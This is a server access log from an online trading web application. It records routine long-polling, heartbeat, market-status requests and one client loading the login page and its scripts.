[09/Jan/2026:14:27:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:27:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:27:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:27:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:27:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:27:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:27:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940310325 HTTP/1.1" -
[09/Jan/2026:14:27:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940328487 HTTP/1.1" -
[09/Jan/2026:14:27:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940319214 HTTP/1.1" -
[09/Jan/2026:14:27:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940315468 HTTP/1.1" -
[09/Jan/2026:14:27:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940333510 HTTP/1.1" -
[09/Jan/2026:14:27:28 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940324252 HTTP/1.1" -
[09/Jan/2026:14:27:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940320661 HTTP/1.1" -
[09/Jan/2026:14:27:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940338541 HTTP/1.1" -
[09/Jan/2026:14:27:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940329344 HTTP/1.1" -
[09/Jan/2026:14:27:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:27:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:27:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940325797 HTTP/1.1" -
[09/Jan/2026:14:27:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:27:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:27:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940343605 HTTP/1.1" -
[09/Jan/2026:14:27:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940334405 HTTP/1.1" -
[09/Jan/2026:14:27:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:27:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:27:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940330911 HTTP/1.1" -
[09/Jan/2026:14:27:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940348636 HTTP/1.1" -
[09/Jan/2026:14:27:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940339441 HTTP/1.1" -
[09/Jan/2026:14:27:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940335952 HTTP/1.1" -
[09/Jan/2026:14:27:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940353699 HTTP/1.1" -
[09/Jan/2026:14:27:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940344529 HTTP/1.1" -
[09/Jan/2026:14:27:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:27:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:27:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:27:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:27:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:27:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:27:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940341126 HTTP/1.1" -
[09/Jan/2026:14:27:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940358759 HTTP/1.1" -
[09/Jan/2026:14:27:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940349596 HTTP/1.1" -
[09/Jan/2026:14:27:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940346254 HTTP/1.1" -
[09/Jan/2026:14:27:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940363780 HTTP/1.1" -
[09/Jan/2026:14:27:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940354623 HTTP/1.1" -
[09/Jan/2026:14:28:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940351394 HTTP/1.1" -
[09/Jan/2026:14:28:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940368872 HTTP/1.1" -
[09/Jan/2026:14:28:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940359718 HTTP/1.1" -
[09/Jan/2026:14:28:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:28:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:28:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:28:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:28:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940356531 HTTP/1.1" -
[09/Jan/2026:14:28:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940373937 HTTP/1.1" -
[09/Jan/2026:14:28:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:28:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:28:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940364781 HTTP/1.1" -
[09/Jan/2026:14:28:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940361586 HTTP/1.1" -
[09/Jan/2026:14:28:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940378961 HTTP/1.1" -
[09/Jan/2026:14:28:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940369815 HTTP/1.1" -
[09/Jan/2026:14:28:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940366678 HTTP/1.1" -
[09/Jan/2026:14:28:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940384021 HTTP/1.1" -
[09/Jan/2026:14:28:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940374909 HTTP/1.1" -
[09/Jan/2026:14:28:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:28:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:28:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:28:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:28:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:28:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:28:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940371813 HTTP/1.1" -
[09/Jan/2026:14:28:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940389048 HTTP/1.1" -
[09/Jan/2026:14:28:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940379977 HTTP/1.1" -
[09/Jan/2026:14:28:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940376948 HTTP/1.1" -
[09/Jan/2026:14:28:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940394079 HTTP/1.1" -
[09/Jan/2026:14:28:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940385020 HTTP/1.1" -
[09/Jan/2026:14:28:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940382091 HTTP/1.1" -
[09/Jan/2026:14:28:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940399140 HTTP/1.1" -
[09/Jan/2026:14:28:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940390117 HTTP/1.1" -
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940385621 HTTP/1.1" -
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/login.html HTTP/1.1" 1752
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:28:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style.css?v=20200819161913 HTTP/1.1" 1435
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style_common.css?v=20200819161913 HTTP/1.1" 2540
[09/Jan/2026:14:28:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161913 HTTP/1.1" 400
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/translation.js?jsv=20200819161913 HTTP/1.1" 12866
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161913 HTTP/1.1" 1017
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161913 HTTP/1.1" 6636
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161913 HTTP/1.1" 3881
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161913 HTTP/1.1" 886
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161913 HTTP/1.1" 1684
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161913 HTTP/1.1" 85
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/custom_variables.js?jsv=20200819161913 HTTP/1.1" 275
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161913 HTTP/1.1" 272
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161913 HTTP/1.1" 982
[09/Jan/2026:14:28:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161913 HTTP/1.1" 1206
